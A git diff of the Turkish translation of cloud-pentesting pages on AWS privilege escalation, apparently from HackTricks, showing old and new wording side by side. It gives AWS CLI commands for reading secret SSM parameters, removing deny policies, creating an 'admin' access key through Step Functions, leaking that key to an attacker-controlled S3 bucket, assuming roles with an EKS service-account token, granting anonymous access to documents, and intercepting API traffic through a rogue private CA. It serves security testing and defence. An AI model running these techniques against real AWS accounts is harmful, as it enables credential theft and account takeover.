**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc ve SSM Ajansı çalışan ve bağlantısı kesilmiş oturumlar.
**Olası Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc ve SSM Agent'ları ile kesilmiş oturumlar.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Belirtilen izinlere sahip bir saldırgan, **SSM parametrelerini** listeleyebilecek ve **açık metin olarak okuyabilecektir**. Bu parametrelerde genellikle **hassas bilgiler** bulabilirsiniz, örneğin SSH anahtarları veya API anahtarları.
Belirtilen izinlere sahip bir saldırgan, **SSM parametrelerini** listeleyebilecek ve **açık metin olarak okuyabilecektir**. Bu parametrelerde sıklıkla **hassas bilgiler** bulabilirsiniz, örneğin SSH anahtarları veya API anahtarları.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
@@ -95,7 +95,7 @@ aws ssm list-commands
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Bu izinlere sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve **çıktıyı okuyabilir**, umarım üzerinde **hassas bilgiler** bulabilir.
Bu izinlere sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve **çıktıyı** okuyarak umarım üzerinde **hassas bilgiler** bulabilir.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands

View File

@@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir.
> [!WARNING]
> Bu izinleri kötüye kullanmak için, etkilenecek **tüm hesaplar içinde bulunan bir müşteri yönetimli politikanın adını** bilmeniz gerekir.
> Bu izinleri kötüye kullanmak için, etkilenecek olan **TÜM hesaplar içinde bulunan bir müşteri yönetimli politikanın adını** bilmeniz gerekir.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -83,29 +83,29 @@ Kullanıcıya atanmış belirli bir rol adı için STS kısa vadeli kimlik bilgi
```
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
```
Ancak, nasıl elde edileceğinden emin olmadığım bir erişim belirtecine ihtiyacınız var (TODO).
Ancak, nasıl alacağım konusunda emin olmadığım bir erişim belirtecine ihtiyacınız var (TODO).
### `sso:DetachManagedPolicyFromPermissionSet`
Bu izne sahip bir saldırgan, belirtilen izin setinden bir AWS yönetilen politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı ayırarak (reddetme politikası)** daha fazla ayrıcalık vermek mümkündür.
Bu izne sahip bir saldırgan, belirtilen izin setinden bir AWS yönetilen politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür.
```bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
```
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
Bu izne sahip bir saldırgan, belirtilen izin setinden bir Müşteri yönetimli politikanın ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür.
Bu izne sahip bir saldırgan, belirtilen izin setinden bir Müşteri yönetimli politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür.
```bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
```
### `sso:DeleteInlinePolicyFromPermissionSet`
Bu izne sahip bir saldırgan, izin setinden bir inline politikasını kaldırma işlemi gerçekleştirebilir. **Bir inline politikayı (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.**
Bu izne sahip bir saldırgan, izin setinden bir satır içi politikadan izinleri kaldırma işlemi yapabilir. **Bir satır içi politikayı (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.**
```bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
```
### `sso:DeletePermissionBoundaryFromPermissionSet`
Bu izne sahip bir saldırgan, izin setinden İzin Sınırını kaldırabilir. İzin Sınırından verilen İzin Seti üzerindeki kısıtlamaları kaldırarak **daha fazla ayrıcalık vermek mümkündür.**
Bu izne sahip bir saldırgan, izin setinden İzin Sınırını kaldırabilir. İzin Sınırından verilen İzin Seti üzerindeki kısıtlamaları kaldırarak **daha fazla ayrıcalık vermek mümkündür**.
```bash
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
```

View File

@@ -14,11 +14,11 @@ Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin:
Bu ayrıcalık yükseltme teknikleri, istenen ayrıcalık yükseltme eylemlerini gerçekleştirmek için bazı AWS step function kaynaklarını kullanmayı gerektirecektir.
Tüm olası eylemleri kontrol etmek için kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri görebilirsiniz, örneğin:
Tüm olası eylemleri kontrol etmek için, kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri görebilirsiniz, örneğin:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
Ya da API AWS belgelerine gidip her eylem belgesini kontrol edebilirsiniz:
Ya da API AWS belgelerine gidip her eylemin belgelerini kontrol edebilirsiniz:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
@@ -29,7 +29,7 @@ Ya da API AWS belgelerine gidip her eylem belgesini kontrol edebilirsiniz:
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Aşağıdaki örnekler, bu izinleri ve AWS ortamının izinli rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu test etmenin nasıl olduğunu göstermektedir. Bu izinli rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**):
Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu nasıl test edeceğinizi göstermektedir. Bu izin veren rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**):
- **stateDefinition.json**:
```json
@@ -42,7 +42,7 @@ Aşağıdaki örnekler, bu izinleri ve AWS ortamının izinli rolünü kullanara
"End": true
}
```
- **Komut** privesc gerçekleştirmek için çalıştırıldı:
- **Privesc** gerçekleştirmek için yürütülen **komut**:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
**`states:CreateStateMachine`** & **`iam:PassRole`** yetkisine sahip bir saldırgan, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleriyle yetkisiz erişim sağlar. Önceki privesc tekniğiyle (**`states:TestState`** & **`iam:PassRole`**) karşılaştırıldığında, bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için.
**`states:CreateStateMachine`** & **`iam:PassRole`** yetkisine sahip bir saldırgan, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleri ile yetkisiz erişim sağlar. Önceki yetki yükseltme tekniği ile karşılaştırıldığında (**`states:TestState`** & **`iam:PassRole`**), bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin verici rolünü kullanarak. Bu izin verici rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**).
Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin veren rolünü kullanarak. Bu izin veren rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**).
- **stateMachineDefinition.json**:
```json
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Komut** daha önce oluşturulan durum makinesinin **çalıştırılmasını başlatmak** için yürütül:
- Daha önce oluşturulan durum makinesinin **çalıştırılmasını başlatmak** için yürütülen **komut**:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
@@ -132,7 +132,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
> Saldırgan kontrolündeki S3 bucket, mağdur hesabından bir s3:PutObject eylemini kabul etmek için izinlere sahip olmalıdır.
> Saldırgan kontrolündeki S3 bucket, mağdur hesabından s3:PutObject eylemini kabul etmek için izinlere sahip olmalıdır.
**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir.
@@ -140,10 +140,10 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
**`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir durum makinesinin tanımını değiştirebilir ve ayrıcalık yükseltmesine yol açabilecek ekstra gizli durumlar ekleyebilir. Bu şekilde, meşru bir kullanıcı durum makinesinin yürütmesini başlattığında, bu yeni kötü niyetli gizli durum yürütülecek ve ayrıcalık yükseltmesi başarılı olacaktır.
Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşacaktır:
Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşabilir:
1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımı yeterli olacaktır.
2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine de ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir.
1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımını güncellemek yeterlidir.
2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, potansiyel olarak önemli güvenlik ihlallerine yol açabilir.
**Potansiyel Etki**: Yetkisiz iş akışlarının yürütülmesi ve manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -27,10 +27,10 @@ Bir rolü taklit edebilirsiniz:
```bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
```
**Potansiyel Etki:** Rol için Privesc.
**Olası Etki:** Rol için Privesc.
> [!CAUTION]
> Bu durumda, izin `sts:AssumeRole` **istismar edilecek rolde belirtilmelidir** ve saldırganın politikasında değil.\
> Bu durumda `sts:AssumeRole` izninin **istismar edilecek rolde belirtilmesi gerektiğini** ve saldırganın politikasında olmaması gerektiğini unutmayın.\
> Bir istisna ile, **farklı bir hesaptan bir rolü üstlenmek için** saldırgan hesabının **aynı zamanda** rol üzerinde **`sts:AssumeRole`** iznine sahip olması **gerekir**.
### **`sts:GetFederationToken`**
@@ -78,7 +78,7 @@ Bu izne sahip bir güven politikası örneği:
]
}
```
Genel olarak, rolü taklit etmek için kimlik bilgileri oluşturmak için şunları kullanabilirsiniz:
Genel olarak rolü taklit etmek için kimlik bilgileri oluşturmak için şunları kullanabilirsiniz:
```bash
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
```
@@ -86,13 +86,13 @@ Ama **sağlayıcılar** bunu kolaylaştırmak için **kendi araçlarına** sahip
```bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
```
**Olası Etki:** Rol için Privesc.
**Olası Etki:** Role yükselme.
### `sts:AssumeRoleWithWebIdentity`
Bu izin, **mobil, web uygulaması, EKS...** ile bir web kimlik sağlayıcısında kimlik doğrulaması yapılmış kullanıcılar için geçici güvenlik kimlik bilgileri seti alma izni verir. [Buradan daha fazla bilgi edinin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
Bu izin, **mobil, web uygulaması, EKS...** içinde bir web kimlik sağlayıcısı ile kimlik doğrulaması yapılmış kullanıcılar için geçici güvenlik kimlik bilgileri seti elde etme izni verir. [Daha fazla bilgi edinin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
Örneğin, eğer bir **EKS hizmet hesabı** bir **IAM rolünü taklit edebilmesi** gerekiyorsa, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olacak ve rolü **üstlenip kimlik bilgilerini alabilir**.
Örneğin, eğer bir **EKS hizmet hesabı** bir **IAM rolünü taklit edebilmesi** gerekiyorsa, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olacak ve rolü üstlenip kimlik bilgilerini elde edebilecektir.
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod

View File

@@ -15,7 +15,7 @@ Belirtilen Dizin içinde bir kullanıcı oluşturun, ardından hem WorkDocs'a he
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
Dosyalar hassas bilgiler içerebilir, bunları okuyun:
```bash
@@ -30,7 +30,7 @@ aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`
Eğer bir şeyi okumak için erişiminiz yoksa, onu sadece verebilirsiniz.
Eğer bir şeyi okumak için erişiminiz yoksa, sadece onu verebilirsiniz.
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -38,9 +38,9 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
```
### `workdocs:AddUserToGroup`
Bir kullanıcıyı ZOCALO_ADMIN grubuna ekleyerek admin yapabilirsiniz.\
Bir kullanıcıyı admin yapmak için onu ZOCALO_ADMIN grubuna ekleyebilirsiniz.\
Bunun için [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) adresindeki talimatları izleyin.
O kullanıcıyla workdocs'a giriş yapın ve `/workdocs/index.html#/admin` adresinden admin paneline erişin.
Bu kullanıcıyla workdocs'a giriş yapın ve `/workdocs/index.html#/admin` adresinden admin paneline erişin.
Bunu cli üzerinden yapmanın bir yolunu bulamadım.

View File

@@ -4,7 +4,7 @@
## EventBridge Scheduler
Daha fazla bilgi için EventBridge Scheduler hakkında:
EventBridge Scheduler hakkında daha fazla bilgi için:
{{#ref}}
../aws-services/eventbridgescheduler-enum.md
@@ -14,7 +14,7 @@ Daha fazla bilgi için EventBridge Scheduler hakkında:
Bu izinlere sahip bir saldırgan, **`oluştur`|`güncelle` bir zamanlayıcı ve ona bağlı zamanlayıcı rolünün izinlerini kötüye kullanarak herhangi bir eylemi gerçekleştirme** yeteneğine sahip olacaktır.
Örneğin, zamanlamayı **bir Lambda fonksiyonunu çağıracak şekilde yapılandırabilir** ki bu, şablonlanmış bir eylemdir:
Örneğin, zamanlamayı **bir Lambda fonksiyonunu çağıracak şekilde** yapılandırabilirler ki bu bir şablon eylemidir:
```bash
aws scheduler create-schedule \
--name MyLambdaSchedule \
@@ -25,7 +25,7 @@ aws scheduler create-schedule \
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'
```
EventBridge Scheduler'da şablonlu hizmet eylemlerine ek olarak, birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırmak üzere **evrensel hedefler** kullanabilirsiniz. Evrensel hedefler, neredeyse her API'yi çağırma esnekliği sunar. Bir örnek, "**putRolePolicy**" politikasına sahip bir rol kullanarak "**AdminAccessPolicy**" eklemek için evrensel hedeflerin kullanılabilir:
Şablonlu hizmet eylemlerine ek olarak, EventBridge Scheduler'da birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırmak üzere **evrensel hedefler** kullanabilirsiniz. Evrensel hedefler, neredeyse her API'yi çağırma esnekliği sunar. Bir örnek, "**AdminAccessPolicy**" eklemek için "**putRolePolicy**" politikasına sahip bir rol kullanmaktır:
```bash
aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \

View File

@@ -15,13 +15,13 @@ Route53 hakkında daha fazla bilgi için kontrol edin:
Diğer izinler **enumeration** kısmı için önerilir ancak zorunlu değildir: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
Birden fazla bulut yerel uygulamanın birbirleriyle ve AWS API ile iletişim kurduğu bir AWS VPC'sinin olduğunu varsayalım. Mikro hizmetler arasındaki iletişim genellikle TLS ile şifreli olduğundan, bu hizmetler için geçerli sertifikaları vermek üzere özel bir CA olmalıdır. **Bunun için ACM-PCA kullanılıyorsa** ve düşman **yukarıda tanımlanan minimum izin seti ile hem route53 hem de acm-pca özel CA'yı kontrol etme erişimi elde ederse**, AWS API'ye yapılan uygulama çağrılarını **ele geçirebilir** ve IAM izinlerini devralabilir.
Birden fazla bulut yerel uygulamanın birbirleriyle ve AWS API ile iletişim kurduğu bir AWS VPC'sinin olduğunu varsayalım. Mikro hizmetler arasındaki iletişim genellikle TLS ile şifreli olduğundan, bu hizmetler için geçerli sertifikaları vermek üzere bir özel CA'ya ihtiyaç vardır. **Eğer ACM-PCA kullanılıyorsa** ve düşman **route53 ve acm-pca özel CA'sını kontrol etme erişimine** minimum izin seti ile sahip olursa, **AWS API'ye yapılan uygulama çağrılarını ele geçirebilir** ve IAM izinlerini devralabilir.
Bu mümkündür çünkü:
- AWS SDK'ları [Sertifika Pinleme](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) özelliğine sahip değildir
- Route53, AWS API alan adları için Özel Barındırılan Alan ve DNS kayıtları oluşturulmasına izin verir
- ACM-PCA'daki Özel CA, yalnızca belirli Ortak İsimler için sertifikaları imzalamakla kısıtlanamaz
- Route53, AWS API'lerinin alan adları için Özel Barındırılan Alan ve DNS kayıtları oluşturulmasına izin verir
- ACM-PCA'daki Özel CA, yalnızca belirli Ortak İsimler için sertifika imzalamakla kısıtlanamaz
**Olası Etki:** Trafikteki hassas bilgileri keserek dolaylı privesc.

View File

@@ -9,11 +9,11 @@
Konteyner hizmetleri aşağıdaki özelliklere sahiptir:
- Hizmet kendisi **ayrı altyapı örnekleri** üzerinde çalışır, örneğin EC2.
- **AWS**, **işletim sistemi ve platformun yönetiminden** sorumludur.
- AWS tarafından sağlanan yönetilen bir hizmet, genellikle **konteyner olarak görülen gerçek uygulama için** hizmetin kendisidir.
- **AWS**, **işletim sistemini ve platformu yönetmekten** sorumludur.
- AWS tarafından sağlanan yönetilen bir hizmet, genellikle **konteyner olarak görülen gerçek uygulama için hizmetin kendisidir**.
- Bu konteyner hizmetlerinin bir kullanıcısı olarak, **ağ erişim güvenliği, ağ erişim kontrol listesi kuralları ve herhangi bir güvenlik duvarı gibi** bir dizi yönetim ve güvenlik sorumluluğunuz vardır.
- Ayrıca, var olduğu yerde platform düzeyinde kimlik ve erişim yönetimi.
- **AWS** konteyner hizmetlerine örnekler arasında İlişkisel Veritabanı Hizmeti, Elastic Mapreduce ve Elastic Beanstalk bulunmaktadır.
- **AWS konteyner hizmetlerine** örnekler arasında İlişkisel Veritabanı Hizmeti, Elastic Mapreduce ve Elastic Beanstalk bulunmaktadır.
### Soyut Hizmetler
@@ -26,6 +26,6 @@ Konteyner hizmetleri aşağıdaki özelliklere sahiptir:
## Hizmetlerin Sayımı
**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Burada hizmet hakkında bilgi bulabileceksiniz (nasıl çalıştığı ve yetenekleri) ve bu, yetkilerinizi artırmanıza olanak tanıyacaktır.**
**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Orada hizmet hakkında bilgi bulabileceksiniz (nasıl çalıştığı ve yetenekleri) ve bu, yetkileri artırmanıza olanak tanıyacaktır.**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -6,34 +6,34 @@
### Temel Bilgiler
AWS API Gateway, geliştiricilerin **büyük ölçekli API'ler oluşturmasına, yayınlamasına ve denetlemesine** olanak tanıyan Amazon Web Services (AWS) tarafından sunulan kapsamlı bir hizmettir. Uygulamaya giriş noktası olarak işlev görür ve geliştiricilerin bir dizi kural ve prosedür belirlemesine izin verir. Bu çerçeve, dış kullanıcıların uygulama içindeki belirli verilere veya işlevlere erişimini yönetir.
AWS API Gateway, geliştiricilerin **büyük ölçekli API'ler oluşturmasına, yayınlamasına ve denetlemesine** olanak tanıyan Amazon Web Services (AWS) tarafından sunulan kapsamlı bir hizmettir. Uygulamaya bir giriş noktası olarak işlev görür ve geliştiricilerin bir dizi kural ve prosedür belirlemesine izin verir. Bu çerçeve, dış kullanıcıların uygulama içindeki belirli verilere veya işlevlere erişimini yönetir.
API Gateway, **API'lerinize gelen isteklerin nasıl işleneceğini tanımlamanıza** olanak tanır ve belirli yöntemler (örneğin, GET, POST, PUT, DELETE) ve kaynaklarla özel API uç noktaları oluşturabilir. Ayrıca, geliştiricilerin API'lerinizi uygulamalarından çağırmasını kolaylaştırmak için istemci SDK'ları (Yazılım Geliştirme Kitleri) oluşturabilir.
API Gateway, **API'lerinize gelen isteklerin nasıl işleneceğini tanımlamanıza** olanak tanır ve belirli yöntemler (örneğin, GET, POST, PUT, DELETE) ve kaynaklarla özel API uç noktaları oluşturabilir. Ayrıca, geliştiricilerin uygulamalarından API'lerinizi çağırmasını kolaylaştırmak için istemci SDK'ları (Yazılım Geliştirme Kitleri) oluşturabilir.
### API Gateway Türleri
- **HTTP API**: OIDC ve OAuth2 gibi yerleşik özellikler ve yerel CORS desteği ile düşük gecikmeli ve maliyet etkin REST API'leri oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP arka uçları.
- **WebSocket API**: Sohbet uygulamaları veya panolar gibi gerçek zamanlı kullanım senaryoları için kalıcı bağlantılar kullanarak bir WebSocket API'si oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri.
- **HTTP API**: OIDC ve OAuth2 gibi yerleşik özelliklere ve yerel CORS desteğine sahip düşük gecikme süresine ve maliyet etkin REST API'leri oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP arka uçları.
- **WebSocket API**: Sohbet uygulamaları veya panolar gibi gerçek zamanlı kullanım senaryoları için kalıcı bağlantılar kullanarak bir WebSocket API oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri.
- **REST API**: İstek ve yanıt üzerinde tam kontrol elde ettiğiniz ve API yönetim yeteneklerine sahip bir REST API geliştirin. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri.
- **REST API Özel**: Sadece bir VPC içinden erişilebilen bir REST API oluşturun.
- **Özel REST API**: Sadece bir VPC içinden erişilebilen bir REST API oluşturun.
### API Gateway Ana Bileşenleri
1. **Kaynaklar**: API Gateway'de kaynaklar, **API'nizin yapısını oluşturan bileşenlerdir**. API'nizin **farklı yollarını veya uç noktalarını** temsil eder ve API'nizin desteklediği çeşitli eylemlerle ilişkilidir. Bir kaynak, her yolun (/, veya /users, veya /user/{id}) **içindeki her yöntemdir** (örneğin, GET, POST, PUT, DELETE).
2. **Aşamalar**: API Gateway'deki aşamalar, API'nizin **farklı sürümlerini veya ortamlarını** temsil eder, örneğin geliştirme, test veya üretim. Aşamaları, API'nizin **birden fazla sürümünü aynı anda yönetmek ve dağıtmak** için kullanabilirsiniz, bu da yeni özellikleri veya hata düzeltmelerini üretim ortamını etkilemeden test etmenizi sağlar. Aşamalar ayrıca, mevcut aşamaya göre API'nizin davranışını yapılandırmak için kullanılabilecek anahtar-değer çiftleri olan **aşama değişkenlerini** de **destekler**. Örneğin, aşama değişkenlerini kullanarak API isteklerini aşamaya bağlı olarak farklı Lambda işlevlerine veya diğer arka uç hizmetlerine yönlendirebilirsiniz.
2. **Aşamalar**: API Gateway'deki aşamalar, API'nizin **farklı sürümlerini veya ortamlarını** temsil eder; örneğin, geliştirme, test veya üretim. Aşamaları, API'nizin **birden fazla sürümünü aynı anda yönetmek ve dağıtmak** için kullanabilirsiniz; bu, yeni özellikleri veya hata düzeltmelerini üretim ortamını etkilemeden test etmenizi sağlar. Aşamalar ayrıca, mevcut aşamaya göre API'nizin davranışını yapılandırmak için kullanılabilecek anahtar-değer çiftleri olan **aşama değişkenlerini** de **destekler**. Örneğin, aşama değişkenlerini kullanarak API isteklerini aşamaya bağlı olarak farklı Lambda işlevlerine veya diğer arka uç hizmetlerine yönlendirebilirsiniz.
- Aşama, API Gateway uç noktasının URL'sinin başında belirtilir.
3. **Yetkilendiriciler**: API Gateway'deki yetkilendiriciler, isteğin devam etmesine izin vermeden önce çağrının kimliğini doğrulayarak **API'nize erişimi kontrol etmekten** sorumludur. Kendi kimlik doğrulama ve yetkilendirme mantığınızı uygulamanıza olanak tanıyan özel yetkilendiriciler olarak **AWS Lambda işlevlerini** kullanabilirsiniz. Bir istek geldiğinde, API Gateway isteğin yetkilendirme jetonunu Lambda yetkilendiricisine iletir, bu da jetonu işler ve çağrının hangi eylemleri gerçekleştirmesine izin verildiğini belirleyen bir IAM politikası döner. API Gateway ayrıca **AWS Kimlik ve Erişim Yönetimi (IAM)** ve **Amazon Cognito** gibi **yerleşik yetkilendiricileri** de destekler.
